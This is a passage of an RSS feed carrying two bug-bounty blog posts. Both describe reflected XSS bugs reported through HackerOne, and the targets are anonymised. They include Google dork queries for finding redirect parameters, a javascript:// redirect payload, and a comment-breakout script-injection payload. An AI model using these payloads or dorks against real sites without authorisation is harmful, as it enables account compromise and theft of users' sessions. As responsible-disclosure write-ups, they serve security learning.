            <link>https://bughunter25.medium.com/story-of-a-uri-based-xss-with-some-simple-google-dorking-e1999254aa55?source=rss-480372992331------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1999254aa55</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Jatin Nandwana]]></dc:creator>
            <pubDate>Sun, 02 Jun 2019 18:49:50 GMT</pubDate>
            <atom:updated>2019-06-02T18:49:50.092Z</atom:updated>
            <content:encoded><![CDATA[<p>Story of a uri based xss with some simple google dorking</p><p>Hey everyone,</p><p>This is a old xss bug which I found in a private program on hackerone by doing some google recon. Because it was a private program I will the name the site as <a href="http://www.example.com./">www.example.com</a> everywhere.</p><p>So lets start,</p><p>The program seemed to be quite old but its scope was wide with a bunch of domains.I thought that many people might have already tested the main domain. So I thought of exploring other domains in the list first. During the initial testing I did’nt find anything useful.Then I thought of doing some google dorking using</p><blockquote>Site:*.example.com inurl:redirect</blockquote><p>and appending various things like intext: ../index, admin , sql , url , redirect etc. After using redirect in inurl parameter I got an interesting endpoint like this</p><blockquote>example.com/social?redirect=/somewhere</blockquote><p>It suddenly took my interest and I started looking for bugs in it. First I tried redirecting it to google.com and it worked. Then I thought of javascript uri parsers which can lead to xss. And added this simple javascript uri in redirect parameter</p><blockquote>example.com/social?redirect=javascript://alert(1)</blockquote><p>And now the site took me to the login page as I was not logged in to the site. I logged in and alert popped up. There was also no protection on logout so user can be logged out of his account and then again be sent to this malicious url and when he enters the creds xss executes and the attacker can do whatever he want like phishing, cookie stealing, keylogging, etc. Unfortunately the same endpoint was also on some other domains of that program so they were also vulnerable.</p><p>The program responded very fastly and gave a good reward.</p><p><strong>THINGS TO CONSIDER FROM THIS BUG:</strong></p><p>If you are lost in a program and dont find anything, always look for other things like google dorking, reading source code for some other endpoints which are not seen in main app and might be many hunters have missed them.</p><p><strong>QUICK TIP</strong></p><p>I will add a small list of dorks you can use to find these kind of bugs.</p><blockquote>inurl: redirect,url,next,redirect_to,page,site</blockquote><p>These can even lead to ssrf if there is not proper sanitization in code.So keep digging on these. You can also try other dorks for finding hidden gems. You can find the latest updated dorks here<strong> </strong><a href="https://www.exploit-db.com/google-hacking-database"><strong>https://www.exploit-db.com/google-hacking-database</strong></a> . Google dorking is great to find some sensitive endpoints,parameters, always give it a try during your testing :)</p><p>I will post some of my more findings here in the upcoming weeks. Till then keep hacking and sharing. This community is great and we should learn from each other and share. #TogetherWeHitHarder</p><p>Thanks,</p><p>Jatin</p><p><strong>Twitter </strong>: <a href="https://twitter.com/techyfreakk">https://twitter.com/techyfreakk</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1999254aa55" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My first valid xss(@Hackerone)]]></title>
            <link>https://bughunter25.medium.com/my-first-valid-xss-hackerone-f8ba0a7c647?source=rss-480372992331------2</link>
            <guid isPermaLink="false">https://medium.com/p/f8ba0a7c647</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Jatin Nandwana]]></dc:creator>
            <pubDate>Sat, 25 Aug 2018 16:08:46 GMT</pubDate>
            <atom:updated>2018-08-25T16:08:46.114Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey today I will share my first ever valid xss bug which was a reflected xss on a public program on hackerone.</p><p>So lets start, I was very new to hackerone and I took a random program to start and I started to do some recon by finding the subdomains and different endpoints.When I was looking at different pages inside the website and then I found an endpoint like this:</p><p><a href="https://example.com/abcd/xyz[">https://example.com/abc/]</a></p><p>I thought there is something fishy here and I opened that page but the page loaded normally.Then I looked at the source of the page and at last of the source I founded a commented out string containing the path after the domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*r4eebbPS3Xtc8-P3lRFtow.png" /></figure><p>So I tried entering something else in the url path and it displayed as it is in that comment.So I tried closing that comment with a closing comment tag</p><p>— —&gt;&lt;test&gt; and I was successful in closing that comment tag and was successful in inserting other tags so I insert a script tag after that so the final payload become</p><p>https://example.com/abc/]--&gt;&lt;script&gt;alert(1)&lt;/script&gt;</p><p>and boom! xss executed!</p><p>So in this way I was able to execute xss on that page.Later I realised that this was on every page of that domain and every path of that particular domain had a commented out string containing whatever in the url path was, so xss was executing on every page of that domain.</p><p>Reported : 26/05/2018</p><p>Bounty : $100</p><p>Thanks for reading! I will post my more interesting findings here.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f8ba0a7c647" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>